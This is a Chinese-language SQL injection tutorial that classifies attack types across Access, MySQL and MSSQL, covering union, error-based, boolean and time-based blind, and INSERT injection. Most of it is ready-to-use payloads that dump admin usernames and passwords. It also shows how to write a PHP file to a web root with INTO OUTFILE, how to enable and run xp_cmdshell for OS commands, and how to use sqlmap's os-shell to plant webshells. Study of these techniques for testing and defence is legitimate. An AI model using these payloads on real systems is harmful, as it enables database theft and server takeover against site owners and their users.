sql注入分類匯總


SQL注入分類與詳解


對SQL注入的大概分類總結,和一些基礎的利用方法。

SQL注入是一種通過操縱輸入來修改后台SQL語句以達到利用代碼進行攻擊的技術。

SQL注入產生的危害很多,比如后台用戶及密碼泄露、會員用戶信息泄露、讀寫文件,甚至可以獲得服務器權限。因此,SQL注入也是OWSP TOP 10的常客。

SQL注入產生原理

攻擊者能夠控制發送給SQL查詢的輸入,並且開發者沒有對這些輸入進行安全檢查和過濾直接組合到SQL語句,那么組合后的惡意語句就會被帶入數據庫執行。

SQL注入分類

SQL注入的分類很多,不同的人也會將注入分成不同的種類,下面筆者將介紹一下常見的分類。

注意:此文章中標點符號在頁面中顯示可能會轉成中文的,自己測試時候語句中的標點一律使用英文輸入法狀態下的。

根據數據庫類型分類

每一種數據庫都有一種注入命名方式,以下是比較常見的數據庫注入方式

ACCESS注入

  • 數據庫結構

 

  • 判斷注入
 
  •  

and 1=1
and 1=2

select * from product where id=1406 and 1=1 //真條件頁面正常

 

select * from product where id=1406 and 1=2 //假條件返回空

 

 

 

or 1=1
or 1=2

select * from product where id=1406 or 1=1 //永真條件會返回數據庫中全部結果


select * from product where id=1406 or 1=2 //1406 or 1=2 返回id等與1406的結果


具體頁面怎么顯示還要看代碼怎么寫的,實戰中可能會有所不同。

 

 

xor 1=1
xor 1=2

邏輯異或。 如果任一操作數為NULL,則返回NULL。 對於非NULL操作數,如果奇數個操作數非零,則求值為1,否則返回0。

a XOR b 等同( a AND (NOT b) ) 或 ( (NOT a) AND b ),就是兩個不能同時成立,也不能同時不成立,只成立其中一個條件

select * from product where id=1406 xor 1=1
a AND (NOT b) 返回空結果
(NOT a) AND b 返回id不等於1406的所有結果

select * from product where id=1406 xor 1=2
a AND (NOT b) 返回id等於1406的結果
(NOT a) AND b 返回空結果

如果過濾了=號換成“>”或“<”一個道理。
還有簡單的方法就是在id參數后加特殊符號,如’ “ \ % *等一切可能使SQL語句報錯的字符。

聯合查詢法
猜字段個數

 

 

order by 22 # 回顯正確

 

 

 

order by 23 # 回顯錯誤


因此存在22個字段。

說明:這里判斷出來的字段是當前頁面所連接的表的字段個數而非管理員表字段個數;准確的說是當前頁面SQL語句查詢的字段個數,例如select * from news猜出的字段數就是news表中所有字段個數,如果select id,title from news猜解出的就只有兩個字段;

order by 是按照字段數據進行排序,用法為:order by 字段名,之所以能用來判斷字段個數是因為,order by 1 <==> 按第一個字段排序,如果查詢結果中一共22個字段order by 23就會出錯。

猜表名

 

 

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

UNION是聯合查詢,將前后兩條查詢語句的結果組和到一起返回。SELECT后面的數字只是為了占位置,因為兩條查詢結果字段數不同的話會出錯不會正常返回。

 

可以看到3和15兩個字段的內容被輸出到頁面中,我們可以通過這兩個位置繼續查詢我們想要的數據並顯示。

猜列名並爆數據

 

 

UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

admin和password是admin表中的字段名,ACCESS數據庫只能靠暴力猜解。

 

爆出所有用戶

 

 

UNION SELECT top 1 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin where not id=1

逐字猜解法(盲注)
注入檢測
同上面的方法一樣

猜表名

 

 

and exists (select * from 表名)

 

 

猜列名

 

 

and exists (select 列名 from 表名)

 

獲取數據長度

 

 

and (select top 1 len(列名) from 表名)>5

and (select top 1 len(password) from admin)>16//錯誤
and (select top 1 len(password) from admin)>15//正常
說明password字段內容的長度是16

獲取指定位數的數據

 

 

and (select top 1 asc(mid(列名,位置,1)) from 表名)>=97

mid(字符串,截取的位置,截取字符數)
asc() //將字符轉換成ascii碼 方便進行比較

and (select top 1 asc(mid(admin,1,1)) from admin)>96//判斷admin字段的內容第一位的ascii碼值大於96 正常

 

and (select top 1 asc(mid(admin,1,1)) from admin)>97//判斷admin字段的內容第一位的ascii碼值大於97 錯誤 說明就是97

 

依次猜解其他位數

盲注的核心
盲注的核心其實是用字符串截取函數一位一位的截取數據,之后把截取到的數據用字符轉ascii函數轉換成ascii碼和數字進行對比,之后將ascii碼還原成字符。

MySQL注入

MySQL數據庫結構

 

 

MySQL
    數據庫a:
        表1:
            字段
                數據
            字段
                數據
        表2:
            字段
                數據
            字段
                數據
    數據庫b:
        表1:
            字段
                數據
            字段
                數據
        表2:
            字段
                數據
            字段
                數據
    ......
   
mysql:MySQL自帶的一個數據庫,用於存放MySQL的一些信息,常用到的是該庫下的user表,表中存放着MySQL的用戶名和密碼以及一些權限信息;低權限用戶無法訪問該表。

information_schema:MySQL5.0版本以上自帶的一個數據庫,用於存放所有數據庫的庫名、表名、字段名訪問權限等信息。
information_schema.schemata存放庫名的表
information_schema.tables存放表名的表
information_schema.columns存放字段名的表

下面查詢信息用到的table_schema、table_name、column_name都是這三個表中的字段名。
table_schema:數據庫名
table_name:表名
column_name:字段名

MySQL最高權限用戶是root

判斷注入

 

 

and 1=1  (and 1)
and 1=2  (and 0)

or 1=1   (or 1)
or 1=2   (or 0)

xor 1=1  (xor 1)
xor 1=2  (xor 0)

like

特殊符號:' " \ %等

猜字段個數

 

 

order by n

查信息
爆顯位不同於ACCESS,MySQL爆顯位不需要接from子句,但ACCESS要接from子句才可以。

 

可查的信息有:

 

 

system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user()連接數據庫的用戶名
database() 數據庫名
version() MYSQL數據庫版本
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統

 

查所有數據庫名

 

 

union select group_concat(schema_name),2,3 from information_schema.schemata

 

查表名

 

 

union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()

這里的table_schema的值是要查詢數據庫名,可以用:

 

 

雙引號(單引號)引住明文
明文的16進制字符
database()函數
char(明文的ascii)

 

查列名

 

 

union select group_concat(column_name),2,3 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)  //table_name代表要查詢的表名

 

查數據

 

 

union select username,password,3 from admin

 

常見問題:

 

 

1.無法爆出顯位,在id前面加上"-"使其報錯
這個問題一般是因為返回了多條結果但是代碼頁面只顯示了原本的一條查詢結果,所以讓原來的查詢返回一個空就會把我們的結果顯示出來了。
2.注入多個用戶的數據 limit i,1
limit可以控制從指定的行顯示
3.注入所有表或列,使用group_concat、concat、concat_ws函數
利用一些MySQL自帶的功能函數
5.程序SQL語句中已有order by,一般程序SQL語句中的order by會在可控點之后,那么我們想要使用order by語句判斷列數,就要將后面的語句注釋掉(e.g. order by 10 %23)

小技巧:NULL填充判斷列數
有時候order by 無法使用的時候,可以使用NULL填充法判斷列數,攻擊者可以構造payload:

 

 

UNION SELECT NULL,NULL,...,NULL

直到頁面回顯正確,頁面回顯正確的時候的NULL的個數即是列的數量,確定列的數量以后的注入方法和上面介紹的確定列數量以后的注入方法一致。

MSSQL注入

MSSQL數據庫結構

 

 

MSSQL
    數據庫a
        表1
            字段
                數據
            字段
                數據
        表2
            字段
                數據
            字段
                數據
    數據庫b
        表1
            字段
                數據
            字段
                數據
        表2
            字段
                數據
            字段
                數據
    ......
   
    master:系統自帶庫,記錄所有系統信息,登陸,系統設置,初始化信息,其他系統數據庫及用戶的信息。
    sysdatabases:系統表,保存在master庫中,保存了,所有的庫名,以及庫的ID,和一些相關信息。對我們比較有用的字段名name表示庫的名字  dbid表示庫的ID   //select  *  from  master.dbo.sysdatabases  就可以查詢出所有的庫名
    sysobjects:系統表,每個庫中都有,在數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在表中占一行。當然數據庫表名也在里面的。對我們比較有用的字段名name對象名  id對象ID  xtype對象類型  uid對象所有者的用戶id。對象類型(xtype)有很多,我們這里只用得到xtype='U'的值。當等於U的時候,對象名就是表名,對象ID就是表的ID值.   //select * from sqlin.dbo.sysobjects where xtype='U'  這樣就可以列出sqlin庫中所有的表名
    syscolumns:系統表,每個庫中都有,每個表和視圖中的每列在表中占一行,存儲過程中的每個參數在表中也占一行。這個就是列出一個表中所有的字段列表的系統表。對我們比較有用的字段名name字段名稱    id所屬表ID號   colid字段ID號。其中的ID是上面我們用sysobjects得到的表的ID號。    //select * from sqlin.dbo.syscolumns where id=123456789  得到sqlin這個庫中,表的ID是123456789中的所有字段列表
   
MSSQL2005及更高版本中以上系統表都變成視圖了,但不影響我們的查詢。

判斷注入方法同上

猜解字段數

 

 

order by n   //原理同上面一樣
union all select null,null,null.......    //推薦    有些特殊字段類型不能進行order by排序 即使存在也會報錯

不能使用order by的時候使用:

 

 

union all select null,null,null.......
select后面加null,直到返回正常,多少個null就代表多少個字段,因為聯合查詢的前后結果字段數要相同,上面也有講到。
union和select直接要加all,因為默認會有一個DISTINCT去重的操作,一些特殊字段類型可能會報錯,所以要加all。
union聯合查詢結果的前后對應列的數據類型必須是相互兼容的,所以這里使用null占位,

 

 

匹配數據類型
我們想要獲取信息,至少需要一個數據類型為字符串的列以便通過它來存儲並返回我們想要的數據。

 

 

union all select 'test',null,null
union all select null,'test',null
union all select null,null,'test'
......

只需一次一列的使用示例字符串替換null即可,頁面返回正常則當前列名支持字符串。

 

我表中第一列是int類型所以報錯了,因為我開啟了詳細錯誤方便調試,所以直接把錯誤信息顯示了出來,實戰中返回的信息可能各不相同。關於報錯注入在后面其他類型的注入中會講到。

 

查詢版本,當前數據庫,用戶等信息

 

 

版本:@@version
當前用戶:
    system_user
    suser_sname()
    user
當前數據庫:db_name()

 

爆所有數據庫

 

 

union all select null,name,null from master.dbo.sysdatabases
union all select null,'|'%2bname%2b'|',null from master.dbo.sysobjects where xtype='U' for xml path('')

利用SQL的FOR XML PATH 參數來進行字符串拼接,可以將結果拼接成一條顯示,因為實戰中的頁面代碼可能只允許顯示一條並不是循環顯示。


查詢當前數據庫所有表名

 

 

union all select null,(select top 1 name from sysobjects where xtype='U'),null
union all select null,(select '|'%2bname%2b'|' from sysobjects where xtype='U' FOR XML PATH('')),null
union all select null,(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH('')),null

union all select null,(select top 1 name from sysobjects where xtype=’U’),null

爆出表名news,在后面加條件and name!=’news’就可以爆出不包含news的下一個表
union all select null,(select top 1 name from sysobjects where xtype=’U’ and name!=’news’),null

 

然后繼續在后面加條件and name!=’admin’

 

 

以此類推可以列舉出所有的表
union all select null,(select top 1 name from sysobjects where xtype='U' and name!='news' and name!='admin'),null

同樣也可以利用FOR XML PATH

 

 

union all select null,(select '|'%2bname%2b'|' from sysobjects where xtype='U' FOR XML PATH('')),null

 

查詢字段名

 

 

union all select null,(select id from sysobjects where xtype='U' and name='admin' FOR XML PATH('')),null  //先查詢表名admin的ID
union all select null,(select '|'%2bname%2b'|' from syscolumns where id=53575229 FOR XML PATH('')),null  //查詢id等於53575229的字段名,53575229是上面查到的所屬表的id

 

 

查詢數據

 

 

union all select null,(select '|'%2busername%2b'|'%2bpassword%2b'|' from admin FOR XML PATH('')),null

 

Oracle注入

不熟悉,先挖個坑。。。

根據注入點權限划分

普通權限注入

普通權限注入是指所有使用低權限用戶連接數據庫的注入點,普通權限注入分為兩類:

 

 

1.非root(sa、dba)用戶
2.降權后的root、sa、dba

普通權限的注入點利用方法很有限,只能對數據庫進行增刪改查,而不具有跨庫查詢、文件操作等權限。

高權限注入

高權限注入是指所有使用高權限用戶(root、sa、dba)連接數據庫的注入點。高權限的注入點利用方式很多,不僅限於增刪改查,一般還具有讀寫文件的權限(特殊情況后面介紹)和存儲擴展的調用權限。

高權限的注入點產生的危害,包括但不僅限於:

 

 

1.獲取數據庫中的數據
2.讀寫文件,讀取文件和寫shell
3.調用存儲擴展獲取系統權限(MSSQL)

影響讀寫文件的因素:

 

 

1.是否擁有file權限
2.secure_file_priv選項

secure_file_priv選項請參考:MYSQL新特性限制文件寫入及替代方法

MySQL讀文件
關於獲取絕對路徑的方法有機會在其他文章講解。

 

 

union select 1,load_file('D:\\phpStudy\\WWW\\sqlin\\sqltest.php'),3

 

路徑注意點:

 

 

1.路徑使用\\ ,否則會被當作轉義符號
2.路徑使用/
3.盤符根路徑下可用c:admin.txt
4.路徑轉換成16進制,不需要加單引號
5.char(路徑ascii)

MySQL寫文件

 

 

union select 1,'<?php phpinfo();?>',3 into outfile 'D:\\phpStudy\\WWW\\sqlin\\qqq.php'

 

SQLMAP的os-shell 與 sql-shell

–sql-shell獲取一個sqlShell用於執行SQL命令。

 

-–os-shell獲取一個cmdShell,用於執行cmd命令,對於MSSQL該選項是調用xp..cmdshell存儲擴展進行執行命令的;對於MySQL該選項是通過into outfile寫入shell,然后再執行命令的,因此對於MySQL需要絕對路徑


對於MySQL os-shell寫入的兩個馬兒說明:第一個是一個小馬(上傳文件用);第二個是一個一句話,密碼為cmd

MSSQL調用xp..cmdshell執行命令

 

 

;exec master..xp_cmdshell 'whoami';--

 

可以使用如下命令來啟用xp_cmdshell

 

 

;EXEC sp_configure 'show advanced options',1;    //允許修改高級參數
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;    //打開xp_cmdshell擴展
RECONFIGURE;--

 

 

也可以直接導出一句話木馬,需要獲取絕對路徑。
system權限,這個權限是根據啟動MSSQL服務的賬戶權限而定的。

 

這種直接在注入點后以;號分割多條SQL語句執行叫做 堆疊查詢,這種方式為攻擊者提供了更多自由和可能。
遺憾的是,並非所有數據庫服務器平台都支持堆疊查詢。例如,使用ASP.NET和PHP訪問Microsoft SQL Server時允許堆疊查詢,但如果使用Java來訪問,就不允許。使用PHP訪問PostgreSQL時,PHP允許堆疊查詢;但如果訪問MySQL,PHP不允許堆疊查詢。

根據頁面回顯不同分類

普通注入

前面介紹到的那些有回顯的注入,就是這里所說的普通注入,因為它們無論是以什么提交方式進行注入的,無論是什么數據庫,無論執行的SQL語句是什么,它們都有一個共同的特點,那就是有正常回顯。

報錯注入

報錯注入是利用數據庫的一些函數和特性,利用報錯將想要的信息或數據夾在報錯信息中顯示出來。

MySQL報錯注入

Mysql報錯注入有一個限制條件:

 

 

echo  "<br>".mysql_error();

只有將SQL語句執行的錯誤信息打印出來才可以看到報錯,所以報錯注入需要程序能夠打印SQL語句執行錯誤信息。

MySQL中能夠用在報錯注入的函數有:

 

 

count()、rand()、group by
updatexml()
extractvalue()
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()
等等

這里我只講前三種,其他函數的具體用法自行百度或者查詢MySQL手冊。

利用count()、rand()、group by報錯注入

關於這三個組合就能報錯的原理請看:Mysql報錯注入原理分析(count()、rand()、group by)

payload:

 

 

and (select 1 from((select count(*),(concat(user(),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x))a)  //查詢當前數據庫用戶

 

下面我們來拆分解讀一下這個語句。
核心:

 

 

select count(*),(concat(user(),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x

concat()是連接字符串的,將參數連接到一起
這條語句直接復制到數據庫里執行就可以爆出用戶名,具體原理看上面的文章。

因為and后面不能直接跟select語句,所以只能包在()中作為子查詢;又因為and后面操作數的結果只能包含一列,所以將報錯語句包含在and (select 1 from ()a)的()中作為這條語句的子查詢才能夠正常報錯返回結果。

查詢數據庫名

 

 

and (select 1 from(select count(*),(concat(database(),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x)a)

 

查詢表名

 

 

and (select 1 from(select count(*),(concat((select table_name from information_schema.tables where table_schema=0x73716C696E limit 0,1),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x)a)   //查詢第一條表名

其實就是把查詢庫名的database()的地方換成又一條子查詢語句來查詢表名,由於concat的參數一次只接收一個結果,所以利用limit子句控制只顯示一條。只需要更改 limit 1,1 便可顯示下一條,以此類推可以遍歷出所有表名。

 

查詢字段名

 

 

and (select 1 from(select count(*),(concat((select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x)a)

想遍歷所有字段名方法同上,只需更改limit子句的值。

查詢數據

 

 

and (select 1 from(select count(*),(concat((select username from admin limit 0,1),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x)a)  //查詢數據時是從剛剛查到的表中去查,from后面直接跟表名就行了

查詢其他字段的內容只需更改字段名,同樣修改limit子句可遍歷多條。

 

利用UPDATEXML函數報錯注入:

 

 

UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱
第二個參數:XPath_string (Xpath格式的字符串)
第三個參數:new_value,String格式,替換查找到的符合條件的數據

查詢信息:

 

 

and updatexml(0,concat(0x7c,version()),1)  //查詢數據庫版本
and updatexml(0,concat(0x7c,user()),1)  //查詢當前數據庫用戶
and updatexml(0,concat(0x7c,database()),1)  //查詢當前使用數據庫名
因為第二個參數給的並不是標准的Xpath,所以會引發報錯。

查詢表名

 

 

and updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E)),1)  //實戰中要注意括號的嵌套。

 

查詢字段名

 

 

and updatexml(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E)),1)

 

查詢數據

 

 

and updatexml(0,concat(0x7c,(select group_concat(username) from admin)),1)   //admin是查詢到的表名,username是上面查到的字段名
and updatexml(0,concat(0x7c,(select concat(username,0x7c,password) from admin limit 0,1)),1)   //利用concat()將兩列內容拼接成一列顯示,如果表中有多條數據需要使用limit一次遍歷一條

 

 

利用EXTRACTVALUE函數報錯注入:

payload:

 

 

and EXTRACTVALUE(0,concat(0x7c,version())) //查版本

and EXTRACTVALUE(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) //查表名

and EXTRACTVALUE(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='admin')))   //查字段名

and EXTRACTVALUE(0,concat(0x7c,(select concat(username,0x7c,password) from admin limit 0,1)))  //查數據

一個問題:
updatexml 和 EXTRACTVALUE函數都只能爆出32位數據,如果要爆出32位以后的數據,需要借助mid函數來進行字符截取從而顯示32位以后的數據。

 

 

mid(string,start,[length])

 

 

 

and EXTRACTVALUE(0,concat(0x7e,mid(concat(0x7c,(select concat(username,0x7c,password) from admin limit 1,1)),33),0x7e))

產生錯誤的語句是concat(0x7c,(select concat(username,0x7c,password) from admin limit 1,1)
用mid()包起來從第33位開始顯示剩余的,測試剩余的字符串有可能不會引起報錯,所以在外面用concat()又包了一層,頭尾拼接了~符號,0x7c是~符號的16進制。

 

MSSQL報錯注入

MSSQL報錯注入前提條件需要開啟顯示詳細錯誤:web.config文件設置

 

 

<configuration>
    <system.web>
        <customErrors mode="Off"/>
    </system.web>
</configuration>

原理是利用MSSQL數據庫的類型轉換,將一些內容轉換為數字時引發錯誤並將這些內容顯示出來。

查信息:

 

 

and 1=(select @@VERSION)     //MSSQL版本
and 1=(select db_name())     //當前數據庫名
and 1=(select @@servername)    //本地服務名
and 1=(select IS_SRVROLEMEMBER('sysadmin'))   //判斷是否是系統管理員
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')     //判斷XP_CMDSHELL是否存在

 

也可以用1/@@VERSION,因為/是做除法運算,所以會將后面的數據嘗試轉換為int類型,同樣也會產生錯誤。

 

查詢表名:

 

 

and 1=(select '|'%2bname%2b'|' from sqlin..sysobjects where xtype='U' FOR XML PATH(''))--   //sqlin是查詢的數據庫
and 1=(select quotename(name) from sqlin..sysobjects where xtype='U' FOR XML PATH(''))--

 

查詢字段名:

 

 

and 1=(select quotename(name) from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--

因為查詢字段名要根據所屬表名的id來查,所以用了一個子查詢查出表名的id。

 

查詢內容:

 

 

逐條爆指定表的所有字段的數據(只限於mssql2005及以上版本):
    and 1=(select top 1 * from 指定數據庫..指定表名 where排除條件 FOR XML PATH(''))--
一次性爆N條所有字段的數據(只限於mssql2005及以上版本):
    and 1=(select top N * from 指定數據庫..指定表名 FOR XML PATH(''))--

 

盲注-基於布爾的盲注

在一些站點隱藏了錯誤信息的情況下,聯合查詢以及報錯注入的方法均無法注入出數據的時候,需要用到盲注的方法來進行注入。

基於布爾的盲注是根據頁面差來進行判斷注入和數據注入的。在存在注入的頁面輸入and (true)則返回頁面1;輸入and (false)則返回頁面2,而頁面1和頁面2有差別,常見的情況頁面1是正常頁面,頁面2是錯誤頁面

基於布爾盲注的過程:
判斷盲注

 

 

and 1=1
and 1=2

返回頁面不相同。

 

猜解當前數據庫用戶名

第一步:判斷當前數據庫用戶名的長度(以便逐位猜解用戶名)

 

 

and (select length(user()))=長度   //也可以使用大於號>、小於號< 更快的判斷

 

第二步:逐位猜解當前數據庫用戶名

 

 

and (select ascii(substr(user(),位數,1)))=ascii碼   //substr()是字符串截取函數  substr('abc',2,1)的結果是'b'   ascii()返回字符的ascii碼值

 

判斷用戶名的第一位ascii碼為114,而114代表的就是小寫字母r。

依次猜解其他位數字符的ascii碼,最后對照表還原成字符。

猜解當前數據庫名
第一步:判斷當前數據庫的長度(以便逐位猜解數據庫名)

 

 

and (select length(database()))=長度

 

第二步:逐位猜解數據庫名

 

 

and (select ascii(substr(database(),位數,1)))=ascii碼

 

猜解表名
第一步:判斷表名的數量(以便逐個判斷表名長度)

 

 

and (select count(table_name) from information_schema.tables where table_schema=database())=數量

 

第二步:判斷某個表的長度(以便逐位猜解表名)

 

 

and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=長度    //通過limit控制判斷的是第幾個表

 

第三步:逐位猜解表名

 

 

and (select ascii(substr(table_name,位數,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii碼

 

猜解列名
第一步:判斷列名的數量(以便逐個判斷列名長度)

 

 

and (select count(column_name) from information_schema.columns where table_name='表名')=數量

 

第二步:判斷某個列的長度(以便逐位猜解列名)

 

 

and (select length(column_name) from information_schema.columns where table_name='表名' limit n,1)=長度

 

第三步:逐位猜解列名

 

 

and (select ascii(substr(column_name,位數,1)) from information_schema.columns where table_name='表名' limit n,1)=ascii碼

 

猜數據
第一步:判斷數據的數量(以便逐個判斷數據長度)

 

 

and (select count(username) from admin)=數量   //admin是查到的表名,username是admin表中的字段名

 

第二步:判斷某條數據的長度(以便逐位猜解數據)

 

 

and (select length(username) from admin limit n,1)=長度

 

第三步:逐位猜解數據

 

 

and (select ascii(substr(username,位數,1)) from admin limit n,1)=ascii碼

 

基於布爾盲注的實質:

 

 

and (SQL語句)=數字 ,頁面正確則結果為該數字,否則不是

盲注-基於時間的盲注

基於布爾的盲注和基於時間的盲注不同,前者是通過頁面差來判斷是否存在注入以及數據注入的;后者無法得到頁面差(比如:無論輸入什么都得到同一個頁面),而它只能通過SQL語句執行的時間來判斷注入以及數據注入.

常見無界面差的情況:

  1. 無論輸入什么都只顯示無信息頁面,例如登陸頁面。這種情況下可能只有登錄失敗頁面,錯誤頁面被屏蔽了,並且在沒有密碼的情況下,登錄成功的頁面一般情況下也不知道。在這種情況下,有可能基於時間的SQL注入會有效。
  2. 無論輸入什么都只顯示正常信息頁面。例如,采集登錄用戶信息的模塊頁面。采集用戶的 IP、瀏覽器類型、refer字段、session字段,無論用戶輸入什么,都顯示正常頁面。

注入過程:
判斷基於時間的盲注

 

 

and if(1=1,sleep(5),1)
and if(1=2,sleep(5),1)
if(條件,True返回內容,False返回內容)用來進行判斷,sleep()延時函數,單位秒。

 

如上圖所示,當if判斷為真時,則會延時5s(如果文件中通過localhost連接數據庫會延時5+1=6秒);而if判斷為假時,則不延時。

猜解當前數據庫用戶名
第一步:猜解用戶名的長度。(猜解到的用戶名長度用於下面的逐位猜解用戶名)

 

 

and if((select length(user()))=長度,sleep(5),0)

 

第二步:逐位猜解用戶名。

 

 

and if((select ascii(substr(user(),位數,1))=ascii碼),sleep(5),0)

 

猜解當前數據庫名
第一步:猜解數據庫名的長度。

 

 

and if((select length(database()))=長度,sleep(5),0)

 

第二步:猜解數據庫名。

 

 

and if((select ascii(substr(database(),位數,1))=ascii碼),sleep(5),0)

 

猜表名
第一步:判斷表名的數量(以便逐個猜表名)

 

 

and if((select count(table_name) from information_schema.tables where table_schema=database())=個數,sleep(5),0)

 

第二步:判斷某個表名的長度(以便逐位猜表名的數據)

 

 

and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=長度,sleep(5),0)

 

第三步:逐位猜表名

 

 

and if((select ascii(substr(table_name,位數,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii碼,sleep(5),0)

 

猜列名
第一步:判斷列名的數量(以便逐個猜列名)

 

 

and if((select count(column_name) from information_schema.columns where table_name='表名')=個數,sleep(5),0)

 

第二步:判斷某個列名的長度(以便逐位猜列名的數據)

 

 

and if((select length(column_name) from information_schema.columns where table_name='表名' limit n,1)=長度,sleep(5),0)

 

第三步:逐位猜列名

 

 

and if((select ascii(substr(column_name,位數,1)) from information_schema.columns where table_name='表名' limit n,1)=ascii碼,sleep(5),0)

 

猜數據
第一步:判斷數據的數量(以便逐個猜數據)

 

 

and if((select count(列名) from 表名)=個數,sleep(5),0)

 

第二步:判斷某個數據的長度(以便逐位猜數據)

 

 

and if((select length(username) from admin limit 0,1)=5,sleep(5),0)

 

第三步:逐位猜數據

 

 

and if((select ascii(substr(username,1,1)) from admin limit 0,1)=97,sleep(5),0)

 

基於時間的盲注實質:

 

 

if(布爾盲注語句,sleep(5),1)

根據程序SQL語句分類

后台執行的SQL語句,不僅有select一種,還有INSERT、UPDATE、DELETE等。語句不同,注入的方法也就不一樣了,下面我們就來介紹一下其他語句的注入方法。

INSERT注入

檢測方法

方法1:
第一步:在數據提交點,插入英文輸入法狀態下的單引號,如果數據插入失敗,那么80%是注入,20%是攔截。

原因:

 

 

INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c');   //實戰中我們並不知道代碼中的SQL是怎么寫的,只能靠經驗推測盡量還原出原始語句,所以這種注入一般白盒測試挖到比較多。

一般程序中的INSERT語句之中VALUES的值都是用單引號來包裹的,int數值型的不需要。所以插入單引號的時候就會影響語句閉合,因此插入失敗。

第二步:在數據提交點,插入雙引號,數據正常插入,這時候90%確定是注入點了。
原因:雙引號不影響語句的閉合,因此插入成功。

第三步:在數據提交點,插入\',數據正常插入,這時候100%確認是注入點了。
原因:\'是對單引號進行轉義,轉義后的單引號不會影響語句的閉合,因此插入成功。

方法2:
方法1比較繁瑣,而且對於int型的數據插入點測試可能會失效,int型數據不需要單引號來包裹。

方法2測試語句:

 

 

sleep(5)
'or sleep(5) or'

在int型數據插入點,由於沒有單引號包裹,所以可以直接用sleep(5)來判斷,如果延時5秒則存在注入;而string型的數據插入點,有單引號包裹,所以我們要先閉合單引號。

 

報錯法

報錯法,顧名思義,就是使用報錯注入的方法進行注入的,但是這個方法有個局限性,那就是需要:

 

 

echo mysql_error(); //打印語句執行出錯信息

我們先看下正常的INSERT語句:

 

 

INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c');

INSERT語句的可控點在於VALUES中的值,這里我們就需要來閉合引號了,否則我們提交的SQL語句會被當作字符串來處理(原封不動的將語句插入數據庫)。

因此,INSERT語句配合報錯注入的語句結構為:

 

 

' or updatexml(0,concat(0x7c,注入語句),1) or '   //不懂函數什么意思的看上面MySQL報錯注入

接下來看注入的過程:

爆MySQL版本號

 

 

' or updatexml(0,concat(0x7c,version()),1) or '    //把or換成and也一樣,只要保證我們要產生錯誤的語句被執行就可以

 

爆數據庫用戶名

 

 

' or updatexml(0,concat(0x7c,user()),1) or '

 

爆表名

 

 

'or updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) or '

 

爆列名

 

 

'or updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='admin')),0) or'

 

爆數據

 

 

'and updatexml(1,concat(0x7c,(select username from admin limit 0,1)),1) and'

 

閉合語句法

閉合語句法不是上面我們說的閉合引號,而是通過閉合的方法將語句補充完整,使語句可以正常執行。這種方法的優點在於:不需要打印mysql執行的錯誤語句;其缺點在於:INSERT語句執行后,插入的信息能回顯到界面中才行。

我們先看下正常的INSERT語句:

 

 

INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c');

可控點是VALUES中的值,這里我們所說的閉合就是將引號和括號都閉合,使其成為完整的SQL語句,然后將程序本身的語句后段注釋掉。

payload:

 

 

a',user(),'c');-- '

說明:–-后面必須有個空格,否則不會當作注釋符,也可以用#注釋。
把payload帶入語句中形成的最終語句為:

 

 

INSERT INTO 表名(col1,col2,col3) VALUES('a',user(),'c');-- '','b','c');   //--后面的都被注釋掉了不會執行,VALUES中值的數量要和表名后面字段的數量相同語句才能正常執行。

注入過程:
判斷列數

 

 

1',2);-- '
1',2,3);-- '
1',2,3,4);-- '
......
1',2,3,4,5,6,7);-- '

說明:最好用數字填充values的值,因為數字可以插入字符型的列,而字符串無法插入數字型的列.
當輸入的值的個數和列的個數不匹配的時候,則會插入失敗:

當輸入的值的個數和列的個數匹配的時候,則會插入成功。

從而來判斷插入列的個數。

注入數據庫用戶

 

 

a',user(),3,4);--     //因為第一列插入的是姓名,字符串類型的,所以需要閉合引號,不然我們的語句都被當做字符串了,閉合后把數據插入到其他列就可以了

 

插入成功,然后我們看看插入的數據。

 

因為我插入到了性別的列中,而我數據庫建表時設置的這一列長度為5,所以只顯示出5個字符,實戰中盡可能選擇數據長度比較長的。

注入表名

 

 

1',2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database()));--

 

然后查看數據:

注入列

 

 

1',2,3,(select group_concat(column_name) from information_schema.columns where table_name='admin'));--

 

然后查看數據:

注入數據:

 

 

1',2,3,(select username from admin limit 0,1));--

 

